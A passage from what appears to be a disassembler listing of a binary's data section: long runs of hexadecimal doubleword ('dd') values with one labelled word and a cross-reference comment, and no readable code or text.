		dd 12E7C8Dh, 0AAA68B49h, 0E4B84790h, 0C3273004h, 82D88F6Fh
		dd 40FB780Ah, 861F5DE4h, 0A3282462h, 0EC8C6034h, 7868B963h
		dd 8678F2h, 5DDA07C4h, 718240DCh, 5E86AF05h, 88881F97h
		dd 7041026Bh, 724C8750h, 0C2CE7860h, 51802C9Ch,	113CB65Fh
		dd 0A31D0087h, 1042E2DDh, 14243E28h, 0DC3DA08Fh, 408882C0h
		dd 214443Ch, 99CF92EBh,	0BCCBF886h, 0A3A48095h,	0EA0DCDA8h
		dd 694A8B37h, 0D40032Eh, 55A00593h, 3B001BB8h, 1A14DFC0h
		dd 253A5C34h, 7D543D47h, 0CC65803Dh, 1BE6E49Fh,	7940E08h
		dd 38805682h, 3A6BB09Eh, 0DEE3D903h, 0C7B15132h, 0E3EB4BB3h
		dd 5DF6D0CAh, 0DDC60057h, 9FC465F4h, 5F0081DCh,	0D504097Dh
		dd 1414957Eh, 981E08CBh, 9C64007Bh, 0B720DCBCh,	0A09028Eh
		dd 43E58F50h, 0C463B34Ch, 0C04B885h, 8CD0F1D4h,	20CE141Bh
		dd 6B16B974h, 9820F740h, 1ACBCE1h, 29C7B8E0h, 40AAD390h
		dd 6CF3B788h, 7161949Ch, 0E8FB1D67h, 27E264h, 0E5704D4Bh
		dd 0ACEE780Fh, 465C10BEh, 0ADA9077Ch, 405E5F25h, 0CF971EB9h
		dd 0A8DB61B8h, 34A2CC01h, 0CE3F16E0h, 0D618E580h, 78900088h
		dd 4C2048BAh, 5E46FF20h, 0B3CCE002h, 0E4F9F480h, 0CCF84B60h
		dd 3F2FE75h, 42352DEh, 70144AE3h, 0B828E66Bh, 43098CF0h
		dd 1D0C68CBh, 807C11D8h, 14A71BE7h, 0E98FA4Dh, 88846E58h
		dd 8181CA84h, 0E0AF678Ch, 0AB041208h, 178A4F68h, 7A5D6CA0h
		dd 4B8C327Eh, 0C2E05951h, 11C67299h, 0FEA9F122h, 0B3790008h
		dd 5E14B449h, 0BC00AC53h, 0B81A96A5h, 2C60A8EAh, 1314CB90h
		dd 21E4432Dh, 0EB38540h, 2830104Ah, 4059B4C2h, 6E0B2B3Fh
		dd 60EED0CCh, 0C01750ECh, 9EC20D41h, 59040182h,	40136D9Fh
		dd 0A47898C8h, 11FCB4E8h, 0A402928Ch, 0EACD022Bh, 0E0206DC8h
		dd 699E0E1h, 45C41000h,	2B4BC298h, 5154BC6Fh, 86340CD5h
		dd 848A402Ch, 7E34644Bh, 73100064h, 978AA925h, 0F89956A1h
		dd 26C201B9h, 0CE95BC99h, 2E44BDC4h, 2110FD1h, 931C6772h
		dd 0FD2C4C66h, 96409CC2h, 96A4D8FFh, 111CAC14h,	0CEB2803Bh
		dd 5C8696E1h, 4EB06020h, 6401CEBAh, 0CC630371h,	50C929D3h
		dd 4018B020h, 353B8349h, 2C29410Bh, 0F71E0E06h,	70A021B9h
		dd 8493627Dh, 0CDCED073h, 380F9556h, 9882088Bh,	58542873h
		dd 0F48B0243h, 0D815F0C9h, 7F239C3Ah, 4ABB502Fh, 23902ED6h
		dd 796800B3h, 0AB925821h, 83F09558h, 24E8B40h, 0C26E1B29h
		dd 5056018Ch, 0D4CBE817h, 28C026C8h, 2C75DF85h,	8B408E6h
		dd 0AA092AC9h, 0F1A83095h, 0CC53802Eh, 0FC2F90D7h, 143FBD23h
		dd 24C51D0Ah, 97ADD005h, 80A691D8h, 0A08DB1ABh,	0A1982CC9h
		dd 732509F4h, 8E571C24h, 0E04588C8h, 3EA5D743h,	5F3C50B2h
		dd 809818AFh, 804B0B61h, 0BB28AC6Eh, 3C46B84Ch,	0E0CEB905h
		dd 0CAB41396h, 81007310h, 0DBCFAEC1h, 79382Ah, 0D405DBEh
		dd 0BB3C030Bh, 9B00889Ch, 573586AAh, 9610C16Fh,	64A370F7h
		dd 0D09C1594h, 1D48049h, 0F60679h, 1E60F830h, 497A52AEh
		dd 0B52A7705h, 4A2D3F1h, 1449F5C4h, 769B10B8h, 2023A112h
		dd 0DF81AA98h, 0FA327A1Ch, 4C9E6981h, 0B6E87C2Ch, 263C07A1h
		dd 502DDC29h, 0CD126B1Bh, 17787400h, 0C16F4780h, 4094BE09h
		dd 0A83C586h, 9AB90F00h, 0CBC1F091h, 7D251364h,	0B2F8D524h
		dd 30A0F25Ch, 7100FFD5h, 9873A1Ch, 0F0F93DBAh, 0C9FD6022h
		dd 0D88B2F6Ch, 0C680DD00h, 0AB1848D0h, 6EB10193h, 0B8D6AF72h
		dd 68FAE5BDh, 43E01854h, 0CE6861h, 0CCC0E979h, 98AA1B41h
		dd 8169909Ch, 0AF01C204h, 1B81C3Dh, 7FD40804h, 0E481394Eh
		dd 0AC6D3E3Dh, 8C76BCh,	0D97C2F3Fh, 5F1E7382h, 6C74D80Bh
		dd 894C4ABh, 2D1DD754h
		dd 1892AA0Fh, 1276B819h, 0F23A10E9h, 0ED031F14h, 0E6631FC3h
		dd 29EE121h, 7E490DF0h,	582D589Ah, 0D08CC602h, 879298Eh
		dd 8518B2D1h, 6F128100h, 1F9A4ED3h, 0AD58DE0Ah,	68C02887h
		dd 0EE96C8Fh, 64F8899Ah, 40225E6Ch, 63192CD8h, 0CE05EE81h
		dd 0E985267Fh, 215F60E2h, 31289204h, 7A48F03Bh,	0C59F7001h
		dd 9D0AAEBAh, 57B9983h,	38027953h, 7ECD835Dh, 46DC7278h
		dd 0CEBC0231h, 31B696E7h, 844C101Bh, 69DF2CEh, 1ACC231Dh
		dd 6D184870h, 0CB92CC2h, 20BCB047h, 14B6FB9Ah, 78F5215Eh
		dd 0DE303980h, 657D4057h, 0C85059B8h, 2B00C224h, 0BDC99890h
		dd 53881F8h, 6E31FB75h,	0F108E24Ah, 630C78F5h, 0B788231Ch
		dd 284924D3h, 71205162h, 0B1218F4h, 8AA21FD3h, 7E0E6C44h
		dd 2059A55Bh, 210669FDh, 0ADFE16ABh, 125CAC3Ch,	0C820F667h
		dd 0E65588B6h, 42E201D1h, 9F3FD2C5h, 8313A1Fh, 79C47D7Bh
		dd 0A19E76CDh, 4084CBC0h, 93278B36h, 500B0F64h,	0A748FF10h
		dd 0BB816C48h, 4AC66346h, 9928B74h, 5E04018h, 7A3C80D6h
		dd 603F9B27h, 24C1D410h, 3FE06EB4h, 0E3301C6h, 0AF39C267h
		dd 8A88780Ch, 4A0E003Bh, 96A27D54h, 4F5F5317h, 18B61C12h
		dd 763A32B0h, 0A99B1009h, 0FA800489h, 0C2A35440h, 350096B2h
		dd 0F9F25C1Fh, 3E6C9FCh, 31C6CA2Bh, 4EB937Dh, 6180E164h
		dd 0B2CCF360h, 968C802Fh, 0EB4C0018h, 96B417CCh, 720193A7h
		dd 79923352h, 312E8CABh, 1BFD38h, 0E94BC334h, 84C2A040h
		dd 27509AE9h, 0E08443FBh, 0E8C05466h, 0A3388C1Dh, 0A873AA16h
		dd 0F75DA01Ch, 2F5F0D10h, 7F2340h, 31F97195h, 48BEA7A3h
		dd 6881400Bh, 378A48A8h, 0E0D002BFh, 5605E8CCh,	6E166B02h
		dd 0D94ED9C3h, 12B62C64h, 0D4D82943h, 0F37BC571h, 885C7C03h
		dd 80E18587h, 0D4FF838Bh, 598F8038h, 8D3E35C2h,	18ED5064h
		dd 1ACE08B7h, 22C4DE96h, 0CEBF4B40h, 0C0006250h, 0A4A0A8D0h
		dd 75B256h, 9376FB1h, 0F7690AABh, 0FC8F4494h, 5C8400C6h
		dd 582F2B70h, 150948CCh, 58DAE5BEh, 278EE404h, 2081C95Ah
		dd 3BD7CF79h, 0F91896B1h, 0CD8718D1h, 7CDCAE49h, 8395D525h
		dd 0DA9F77B4h, 447C4715h, 47B06128h, 1FE78D8h, 92247FF8h
		dd 7CE31C03h, 0C2201778h, 0CD441027h, 6FF608E4h, 0F8A0E14Fh
		dd 6C559402h, 78CBD64Bh, 96C0A488h, 0E00BB9h, 25D23332h
		dd 0C6204C7Ch, 0D44CA09Dh, 270C8B2Ah, 68986381h, 4302CBADh
		dd 0DFC76588h, 506D60ECh, 2B4913F3h, 2AD8A4F7h,	0D4EDB200h
		dd 44FF6D1Dh, 0EE1B003Fh, 0C21EC8A0h, 0ABF8BAB4h, 13688A50h
		dd 0A300B07h, 0B6E095D6h, 25E966EAh, 6C97ACA1h,	8964511h
		dd 6380F8B0h, 0B1B7685Bh, 9894E806h, 0F6E0025Ah, 4E8B1C08h
		dd 1F5074C8h, 0A812EC84h, 0C01BB8h, 6098887Eh, 0E39A90Fh
		dd 44431E32h, 3E805497h, 312B3199h, 0AA6C6011h,	18941B88h
		dd 28AB4317h, 0F3322579h, 606E707Eh, 0B88D1BD4h, 975C1F48h
		dd 28A718FFh, 0E09E883h, 0A4F5B762h, 0A8840D30h, 800450FCh
		dd 0E1773C1Bh, 24807E10h, 4BBAFED8h, 4088313Bh,	0D3103C80h
		dd 518D14B0h, 0BC68104Ah, 0AFF0CAE3h, 94250F55h, 912097ABh
		dd 7F009327h, 0C3354BC0h, 3C1816D3h, 10488097h,	0A340DF1Fh
		dd 0E4B59762h, 0E5068A96h, 30506E53h, 0ABD143F6h, 0BE003BF5h
		dd 0FA33E841h, 0EFCD84A8h, 548013Eh, 78D6BC51h,	8CA4B87Ch
		dd 4071CB04h, 63C01FF8h, 17F32E84h, 0CE0C0DF6h,	0C07DC818h
		dd 0E14CD0DBh, 5D669F1Fh, 0B0302DD2h, 1CBB39E2h, 405C6A42h
		dd 0A2D56EE0h, 37096523h, 0BF87562h, 0DA2C3888h, 0CF9480D5h
		dd 2491EC24h, 68FACD84h, 5014D8ADh, 8A100CAFh, 0AB90849Bh
		dd 3547A21h, 4E40E3CBh,	0A4380849h, 30C760EAh, 48011245h
		dd 0ACCD3B1Eh, 79B80C2Ch, 0CDA7058Ch, 816689BFh, 228A1BCh
		dd 85845C50h, 35EFB54h,	0DD266FDBh, 0DE0E30C7h,	0D8016005h
		dd 0D49F1C5Ah, 0B072C241h, 23B42F4Bh, 8618007Ch, 0B166073Eh
		dd 0F8A10824h, 167B3B08h, 0E8420E3h, 3EFB27AEh,	4D7AAF81h
		dd 717B1980h, 5E9D3E4h,	8584C30Ch, 5CE8C824h, 4C31BC6Eh
		dd 2420750h, 4028566Bh,	0DBEB09D7h, 0BEC05B1Ch,	33201281h
		dd 65CDCEC8h, 4ECCE820h, 0E370909Ch, 71DF73E8h,	70DDB409h
		dd 0D0ED0048h, 64E95A0Ah, 99549CC2h, 40FC36A4h,	8F008B90h
		dd 0FD4D1722h, 280586A8h, 7CFC479Bh, 33851D8Eh,	376C8BF1h
		dd 958C3E01h, 8EC18035h, 12578F5Ah, 3B6E0049h, 0B63D84C8h
		dd 28BCF7BAh, 0AA08C001h, 0A8504A91h, 54FE0D4h,	0CEDF8256h
		dd 40B4B4F4h, 981C8F28h, 92910D06h, 1D4029C3h, 0C1A1885Bh
		dd 0D7DA41BCh, 0DD8AC563h, 0A948D48Fh, 86BA11C4h, 4EC8E063h
		dd 0D188B7BEh, 0A74F308Fh, 43896841h, 0C048356h, 1048A201h
		dd 194D605Eh, 7DB525B2h, 2367600h, 0D1C9E503h, 7F67C64h
		dd 0F90F6E74h, 7928D2BAh, 6732481h, 5A418C7Fh, 60198Bh
		dd 0ECD936B5h, 0B50667Bh, 0FDE00600h, 0FB3E8435h, 898106C3h
		dd 496EA8BCh, 0CCC4814h, 6FCD03C5h, 30C5E987h, 0AF215008h
		dd 0A1070CD4h, 0F73F4FE6h, 0BC18806Fh, 295A470Fh, 59288674h
		dd 0F81855h, 16A26DEAh,	0C5A9E6EFh, 567E3305h, 0DA07E40Dh
		dd 434064A0h, 0A885133Eh, 0FB4A9A0h, 0B7FE96CFh, 8F0647FCh
		dd 218E5667h, 0CFBCC41Dh, 6A7748C1h, 5881DE91h,	5437E26h
		dd 0D99C4973h, 25A3104Dh, 826C06EEh, 49C7E58Ah,	89D05E54h
		dd 12866900h, 0FD6EDF99h, 0F8901F2Ah, 0AC4A833Bh, 30408738h
		dd 58CBD80h, 0E0460CCFh, 0AEA838D5h, 8D0CD703h,	0D13E192Bh
		dd 79809001h, 346A482h,	0E1F4BEEh, 0F80C7B76h, 0B07539BFh
		dd 0B299C09Ch, 6B3F69D0h, 0F12152Eh, 1D61FD01h,	0A891DCF7h
		dd 3401288h, 5F701820h,	0F98560BFh, 5D296A05h, 2B671703h
		dd 0F0D06211h, 58760FA2h, 94143D87h, 0B3237089h, 3C0CD101h
		dd 5418C5E0h, 6D9A888h,	2AFCD60Ch, 0A3118980h, 68001A8Bh
		dd 0CA95C2E3h, 0AD14A2FAh, 2334867Ch, 0CCE01B2h, 4EBDE03Dh
		dd 0D6A900A4h, 77DD110Ch, 0EFDE0A93h, 11E4646Ch, 69205005h
		dd 1FB10CE1h, 63FEADCFh, 0C3009111h, 7F2ECFB9h,	7000F2E8h
		dd 85BD12E9h, 9C0806h, 0DEA3E656h, 72CE8C33h, 0C4E39E07h
		dd 0C6C790D7h, 0D0918AC4h, 51B89201h, 7FE99600h, 0DABBD204h
		dd 8D0032E4h, 9EEEAA94h, 5B7BCEAh, 0FB88B280h, 9CD44E82h
		dd 8860020Ah, 0B5601335h, 46FE91CFh, 8D22BFh, 4CFBDC7h
		dd 0E893B676h, 1E3C9672h, 62548142h, 8FBD0273h,	38001835h
		dd 9133DC5h, 0E9A453E1h, 4A651804h, 3C4473h, 0C9A2A0C2h
		dd 882CECh, 0E43A16FAh,	9B2D5570h, 595BD230h, 0AD6343h
		dd 9F0DBD44h, 0A7044FA5h, 217F08CCh, 44940038h,	0D0F60C0h
		dd 5D04374Bh, 0E188E0F5h, 0CFD98489h, 39B5040h,	2A162AFFh
		dd 2D34638h, 0DB044A2h,	39001CF7h, 6CB34495h, 757A2h, 0B78BBB88h
		dd 642F8520h, 97604370h, 2EC51F79h, 467B0E12h, 10607EF0h
		dd 0BE5A6AA5h, 0DA885601h, 41FF26A2h, 60E18BD0h, 59063983h
		dd 202C2FD6h, 87180B45h, 1A2E919h, 0A5844725h, 10619880h
		dd 13B6389h, 39FACE2Eh,	9BC28547h, 98217609h, 1532E33h
		dd 883E6E8Dh, 0E0B915D0h, 28069634h, 69D5CE89h,	0E82300E0h
		dd 5010B258h, 109A2E7h,	83C4C834h, 37B5EA0h, 27EB7951h
		dd 0EFE3572Ah, 2EAED888h, 0BACEFD0Ah, 2303ACE6h, 24C0672h
		dd 0FFBBC331h
		dd 0E88014E3h, 9A0D40E6h, 88710C92h, 0BB9E101Fh, 0C30A20Eh
		dd 0E50D995h, 23EBEFD5h, 0E84E9D63h, 0BE261798h, 0EEDD0C1Eh
		dd 0E17AD400h, 189B6F95h, 716BFB72h, 0A21876A3h, 5011475Eh
		dd 3EE001D6h, 0D97F4AA8h, 0E423C870h, 0D82D5218h, 4BC8490h
		dd 9B3651A5h, 910898D6h, 0DB14408h, 5F70C4BFh, 9C80989Ch
		dd 4B74E4C1h, 6A9B80Fh,	77217BCh, 5A308173h, 0F51B3197h
		dd 0D05B001Ah, 0BF64F763h, 0B529FBD9h, 0A8593C2Ah, 480A5418h
		dd 0DC6E47EEh, 0C2045724h, 88C0A656h, 90945BF8h, 0FAE301B0h
		dd 43DC0F1Fh, 2603668h,	0FEACCFB6h, 409C33A7h, 0F4CFBEC2h
		dd 59F00490h, 823414E1h, 404796F0h, 0E4607744h,	29F4B959h
		dd 0ACDD0500h, 0F90DA85Bh, 8A4A3F87h, 725186B3h, 0E06778DAh
		dd 4F605144h, 18065792h, 7A5E594Ah, 0F1412E81h,	0B8330235h
		dd 20C1953Eh, 1B823EFh,	0B5266D31h, 0C23A25BCh,	24488443h
		dd 61C766A8h, 0F3B074E2h, 34E2C3Eh, 7FDD0F52h, 88BBE819h
		dd 0A9E9A3C0h, 0F871172Ch, 0D2801B60h, 5DCF12F4h, 177001A3h
		dd 24FB4EE4h, 42884FA8h, 0A9720047h, 0FAE96A98h, 0E64C4A1Eh
		dd 0C0D48850h, 0DAB4497h, 7D22AF46h, 449E4E00h,	0DBE1EC70h
		dd 0A9F300A0h, 1FD3A3E9h, 6384F39h, 0D5AD8B7Eh,	1F340FB9h
		dd 984DC290h, 0FE033BCh, 703C9E1Fh, 8981CC0Dh, 0E9100020h
		dd 8EDEA910h, 9B172674h, 98205F0Bh, 1AF7F01h, 4FF52322h
		dd 0D880BC93h, 0DCB8078Ah, 5C4CE343h, 3C8E8CB8h, 0E39E2AD5h
		dd 897B8C0Dh, 28C3448h,	0FE90CFAAh, 0A0196787h,	0CFB2C610h
		dd 0BCB36D01h, 427E0160h, 0A4441883h, 6C8035CAh, 0FC16F080h
		dd 284023CEh, 0C1892EC8h, 0C2E08B8Eh, 9A1F521Dh, 85D8886Dh
		dd 4BB2419h, 11DEC372h,	88C4A0FDh, 9B33CE1Ah, 0E0FC0420h
		dd 0B744A360h, 44990D79h, 448A42C0h, 520B00ACh,	0D1DFEFFEh
		dd 0B308BBE8h, 814F0572h, 0E7080AA3h, 397CD340h, 0D5517113h
		dd 695ADC21h, 3A8AC420h, 386999E9h, 539AFC18h, 0B3FE9B7Ch
		dd 0F6BE3402h, 445EC7F3h, 460C90F4h, 2E300295h,	3121FACBh
		dd 93001478h, 6C6DBA2Fh, 623A32F4h, 4CC04319h, 0EBE098F2h
		dd 0DEC77D0Bh, 3188A592h, 0A523C420h, 0F2A10062h, 0B9B31655h
		dd 8660FEC4h, 9FD1B729h, 0FC54001Ah, 8219373Ch,	0E604CD4Ch
		dd 8506FA86h, 0C48E074Fh, 144312FDh, 48C53CE0h,	20F21347h
		dd 0AD33FC54h, 79115760h, 7940EE6Ah, 1F30000Ch,	60582CB7h
		dd 0ED02E8DFh, 0CEE49B8Ah, 403C4F53h, 90A944ABh, 127DE0A1h
		dd 1DB0445Ah, 0F88B7Fh,	12829A56h, 0DF025D65h, 88BBC65Fh
		dd 7EC5AC0h, 7A6B3019h,	61960624h, 65372C01h, 0DB806D5Fh
		dd 0EAD4812Ah, 0E0E0DD86h, 313FD0Ah, 0C84004ADh, 0E8C1FED8h
		dd 0F5C200CCh, 487C0CD4h, 0A8726C9Dh, 5A4F8600h, 8A44B09Bh
		dd 1761002Ch, 2D6F36A3h, 0AE0776A5h, 593E8D1Ch,	6D1818CFh
		dd 15C7FC64h, 20635254h, 1D8F59B0h, 28086480h, 0CB23A6h
		dd 7BA42269h, 0E2FDBBDh, 657C9F73h, 0B69C5900h,	0B4674A45h
		dd 35E20250h, 23A95CFBh, 81C22094h, 8677A66h, 0EF6C4714h
		dd 0B936141h, 0E160F2A0h, 1900694Ch, 6F1E6612h,	7AD8E0Fh
		dd 2E9D073Dh, 2268627Dh, 630834ACh, 785580A8h, 7CA0C88Dh
		dd 445073F6h, 90021FCh,	56D5FA22h, 0FE57AE9Eh, 2088B8C0h
		dd 0DB73812Bh, 0F8D848h, 567952ACh, 59E8939Bh, 753B4CF2h
		dd 0DA0C0FBEh, 5629DE77h, 8BFCE484h, 11C322CCh,	442E089Ah
		dd 0AB445DFEh, 7ECA4497h, 44D56944h, 228421F8h,	2242D087h
		dd 21EA6111h, 0D1E10805h, 0FC002691h, 154CB33Fh, 0AE002EE4h
		dd 0F2983643h, 3E803EE7h, 28001E4Ah, 7201AAA4h,	2707443Fh
		dd 0D5F6D4CAh
		db 90h,	8Ch
word_505446	dw 81F3h		; DATA XREF: ___:off_435710o
		dd 4ED81C7Dh, 83388024h, 97ACDC6Fh, 3247EF00h, 0B449703Fh
		dd 0BE201FDAh, 0BB80094h, 539FC785h, 81241A02h,	40E472D7h
		dd 3B70D402h, 3800A19Ch, 0E765B198h, 6900A8D1h,	0A31D62C3h
		dd 0B96B89Bh, 0AFC864C4h, 55466880h, 0D100D64Ah, 637BA061h
		dd 2ACABD9h, 2E0C208Ch,	0F240C045h, 2970B8C7h, 0E61C23FCh
		dd 68C08C19h, 5D9DA080h, 1DD20F01h, 72ADD9BFh, 3811E8C0h
		dd 24054Ch, 0E212DA68h,	0F7D328h, 6DEA390Dh, 8760DC73h
		dd 7000BF71h, 1506C2BCh, 0AD93E1h, 287E449Ch, 3E3881FBh
		dd 0BE5E4B00h, 1C0CA51h, 0C811C220h, 1C60BF9Ah,	0C4186C96h
		dd 841873EDh, 77900E1Fh, 34212F3Ah, 0FBA16127h,	0BC059803h
		dd 8058EF06h, 0C799FE95h, 0B0B879A0h, 0A75B9C9Bh, 89323100h
		dd 334E5DF3h, 45AFA99h,	45C896E3h, 42F6C0C5h, 6D006A38h
		dd 5E4A7491h, 985563EEh, 0DF520978h, 805DA0C0h,	353639F7h
		dd 0CDB30178h, 0EC6F6302h, 0DADDF4F0h, 83546203h, 0F8099520h
		dd 8E0152h, 0B81285E7h,	3D1110A5h, 0F1D0FA60h, 3A8250FFh
		dd 0EFB8CD8Ah, 0A3B8D0h, 0FE3F9A1h, 0B545D473h,	0F5D5F107h
		dd 46C04202h, 9D5EC6h, 0E6F327A2h, 43C3936Eh, 4B0028B2h
		dd 5E70AD3Dh, 3D4A4E63h, 573A6829h, 6ABE2A80h, 0F3869A01h
		dd 0B2EE6701h, 93CBDED7h, 815460EAh, 0E180C05Ah, 0C861A22Eh
		dd 1F13A43Ch, 79C01D02h, 0B503BBF3h, 8A4B0Fh, 49EB7EF4h
		dd 0E2E01E81h, 4486D018h, 0C81B79h, 0B8CF4175h,	9030C5EEh
		dd 653F0F07h, 0D8604CCBh, 0E6A4839h, 571F8D76h,	58034509h
		dd 208701A6h, 0AFDA7182h, 0B3C0931Fh, 167DE600h, 90BF40A9h
		dd 481FF4DAh, 0C5009CA1h, 83331954h, 0E8E02180h, 64DFA000h
		dd 3DDD9802h, 0D0FB0FC9h, 68E0625Ah, 8B7C727Ah,	593CA40Ch
		dd 963037h, 0C6EFBC33h,	0EEC13863h, 464CD000h, 1A868E0h
		dd 0CE2200B8h, 187708C7h, 521DDBCCh, 298F82EEh,	0E3D2C047h
		dd 13A55157h, 0FCB6C061h, 0A2D00060h, 6D9C25FFh, 77383C7Bh
		dd 9C8AA6h, 0E785FCB0h,	2B2C540Bh, 33003696h, 0BB07BD43h
		dd 55EE00EAh, 942A031h,	5800F40Eh, 46FFA1B4h, 4FCB0Dh
		dd 1045BE9h, 0EC41B55Fh, 0EA6B4507h, 5B0BE5Dh, 121061Fh
		dd 0A586CD64h, 0F002D4E9h, 0B0A032C9h, 0D30E8089h, 41E456h
		dd 797AD88Bh, 0E97B00D9h, 154FD095h, 0E40053FBh, 281650E2h
		dd 121C3738h, 4079A29Ah, 4A85AC78h, 2E0E8082h, 85B8C02Bh
		dd 0FC1C937Fh, 0FDDC30C0h, 4A751A8h, 0A25241A1h, 482C8088h
		dd 0BF24A386h, 802839DEh, 0D6E94900h, 0AFCDC8D4h, 15B40016h
		dd 3994C7BAh, 2771B204h, 0F07BE424h, 83285A01h,	1180AD42h
		dd 12FB7351h, 2604A39Bh, 0B4F274B1h, 7B855084h,	407F80C2h
		dd 0AAA250h, 0FBE7ADF8h, 0B27A2623h, 0B05FA937h, 0F7B1240h
		dd 37AB0066h, 847C4B8Fh, 0D0000CCBh, 0BD5E157Eh, 0C1C295DCh
		dd 601B1EF0h, 0B8FDD43Bh, 80F6CD3Dh, 0A497D66Ch, 17BEACBh
		dd 0E42D5435h, 70BE5F0Eh, 5E09D525h, 4AC10Ch, 463E6640h
		dd 0B951001Ch, 5A18AB2Fh, 90A08EC0h, 9006121h, 3E7A9366h
		dd 90F4051h, 88867220h,	0F35C3C00h, 26001E78h, 0BFBB58CEh
		dd 9D82A5h, 2356F180h, 878824B1h, 0EF319B00h, 0A9D14909h
		dd 0D4C40015h, 0FAECE8BFh, 6F09A746h, 0C0C13C17h, 0B8916Ch
		dd 5AE730BCh, 4834922Ah, 6F0E3Fh, 0E837C7BFh, 29C1420h
		dd 41E05D31h, 8E0671Bh,	3D1C0945h, 0E18091DEh, 0F49A2852h
		dd 0A73A00BEh, 6D21F13h, 11E38DBh, 4B805709h, 0E803F171h
		dd 0BBC007D8h, 0F03DD35Dh, 53C359Dh, 8FF7B0A0h,	5FA09B0Fh
		dd 21BB0FE4h, 0C655EB76h, 0F66BD20h, 2037EDC2h,	9E828420h
		dd 1F0F5398h, 0AC2C065Bh, 13CE5Ah, 29D09490h, 304B3F19h
		dd 43257500h, 3EE48B35h, 0E248004Fh, 0F2276DF7h, 9200A0D4h
		dd 24584B4Dh, 0D52865h,	6198A890h, 0B3EE791Ch, 95001098h
		dd 5C063F62h, 1EF35A28h, 401FF029h, 0C86D794Eh,	420050A5h
		dd 0CD58907Dh, 35C0C33h, 2C98E692h, 0B0C305D1h,	0EC56BAA0h
		dd 0CD008496h, 228C25F4h, 5FD50065h, 5BC28D80h,	7802EBCCh
		dd 179327F0h, 6560D758h, 3300779Ch, 0CE811B53h,	7CCA23FEh
		dd 0B874EE8Ah, 7EEA1F5Ah, 16BCE867h, 70C79CFAh,	0A526D904h
		dd 2912F00h, 0E753F213h, 40DE018Bh, 711B6529h, 0C3C0D08Dh
		dd 6D01CC90h, 1A83B13Ah, 5C21290Ch, 26332DD8h, 551CC0h
		dd 896B8D0Bh, 0E1004437h, 49167725h, 1891B49Dh,	20D9DA1Ch
		dd 0DE7BF42Dh, 594A7B00h, 0E1AD27A6h, 67B30029h, 0CFF99711h
		dd 3F004258h, 0CB30EB39h, 20129Ch, 0C870DBFEh, 0DFF6B973h
		dd 0BA42061Ch, 348687C0h, 2024E8h, 0E16470AFh, 0A84BEFBFh
		dd 35614001h, 0B57D97ABh, 0F890E544h, 48232BAh,	0BF53E5F0h
		dd 0B04A8650h, 4AECA40Eh, 0D4D200A7h, 6B23D8h, 0B7D57302h
		dd 0A3132F5Bh, 4462B12h, 50BAE400h, 1F28212Dh, 1A0DAh
		dd 0B64C938Fh, 43006984h, 4061D91Ah, 0A6E0B4Ah,	3E59831h
		dd 0B3050EBCh, 995DC3BEh, 74D06CB4h, 805EF8B1h,	1582C14h
		dd 0B3C91B77h, 0C3FC6A12h, 0ACCF5C0Dh, 0D2ED40h, 77601C9Bh
		dd 782C2D2Ah, 39E6800h,	0B710099Ah, 0C4CB1FF3h,	5717002Bh
		dd 2FE51A13h, 85F2AA00h, 9745E8AEh, 2CCB00BAh, 0CE641292h
		dd 0D903A639h, 7E8C18CAh, 0C616F8D6h, 0E9E600DEh, 77AC79ECh
		dd 1D07EDB4h, 0A03A23D9h, 620CDD80h, 16BD00EFh,	0C2920BE9h
		dd 3B0F4E2Ch, 0E0B9C899h, 0A9DAF6C9h, 0FE75716Ah, 3EE773EBh
		dd 6B014C6Eh, 67F2BC3Ah, 3D30CCB1h, 0EC5D8B00h,	0B80240D6h
		dd 3B980032h, 0B21765FFh, 13000BDDh, 0CA395527h, 0E81FD925h
		dd 0AD2601ECh, 72470D85h, 57F0D001h, 0A3004EE4h, 55E231C4h
		dd 580A0873h, 510085FDh, 0BD425B98h, 0F1003DEDh, 92846322h
		dd 0D83793h, 36DEB03Fh,	0EA5CB4CBh, 0AC7A1A00h,	2F16448Bh
		dd 24A70342h, 29DCCAC2h, 0EDC068EAh, 390165FCh,	9F7CCB05h
		dd 3FE4B602h, 34AE002Eh, 5B239B19h, 87016885h, 0DDF8A6B2h
		dd 12F4D6BEh, 20B0005Eh, 68F49E99h, 0F300E745h,	66B9A926h
		dd 482FD93Fh, 0AB003BE5h, 891D7032h, 7500C7B6h,	0F2486EC3h
		dd 15F6FF7h, 28DC468Fh,	0E8E88D6Ah, 101345B1h, 0B507A609h
		dd 0B76099EFh, 1AEB40h,	33B917BFh, 512B23F7h, 4C06C107h
		dd 9F90A848h, 8B7FF8h, 0BDB0333Ah, 310D78CDh, 2C8DA0Ch
		dd 99E87Ah, 4130B5D3h, 0E9297FD7h, 0AB233D00h, 2D122A4Ch
		dd 48F812C8h, 791F91h, 89FCC78Bh, 670097BEh, 11D1137Eh
		dd 0ABF0E0h, 0EF2666F2h, 2C3510E9h, 7A7C1500h, 0CDDFFB5Ch
		dd 9FC21EC4h, 9D0E455Eh, 0F7B7C012h, 1900C7A6h,	0AA75B669h
		dd 51C07DBh, 0CA5C910Eh, 0B1C70004h, 150DDDACh,	0C9A9BF00h
		dd 8050ED1Eh, 0F63200DBh, 0AB57C85Fh, 0EC791FCAh, 54E22B09h
		dd 0D2480091h, 149CC4h,	0F72CC13Eh, 44E78073h, 231F38F4h
		dd 0A40FFE57h, 0DF1C4099h, 39AC07EEh, 1580F8CFh, 0DD4E530Bh
		dd 0CC0E1E84h, 4056F47Eh, 50661FB8h, 99DF07D2h,	0F5775EBEh
		dd 6ED08004h, 961F60E3h, 1070C369h, 210543h, 7664395Dh
		dd 0B283593Ah, 0F98F0703h, 0F02D2EFCh, 0FF8C5Bh, 6A6CAE45h
		dd 66BA4FE2h, 5728CB0Ah, 6807900Dh, 9EB78B5Eh, 0C9805970h
		dd 1EEA0060h, 696D654Bh, 8C002C0Ah, 2E7F7AD4h, 286A7C27h
		dd 0F4A232BFh, 5D080957h, 14808854h, 0EC9FBDCFh, 10C41330h
		dd 0DB99Eh, 9AE314C0h
		dd 82D7A5DBh, 15FF78C5h, 0AB399C00h, 488124E2h,	460003C5h
		dd 8102A38h, 0F015D72h,	0F980A6C0h, 9FCDABEh, 696400B6h
		dd 7629DB87h, 8426903Fh, 6A0004FDh, 3847E1B8h, 0A488266Dh
		dd 0ED8B0048h, 6EA57A27h, 45992E05h, 0AC001662h, 0B7D8D3A0h
		dd 0F3A8C08Dh, 0EC4D0ED1h, 0FD561C00h, 2BED2308h, 885B0220h
		dd 691D6C58h, 5EDC407Fh, 1FFF0E5h, 5137597Ah, 0E82C531Ah
		dd 0C6009890h, 561250AAh, 1F38D582h, 80A5670Ch,	0D22BD125h
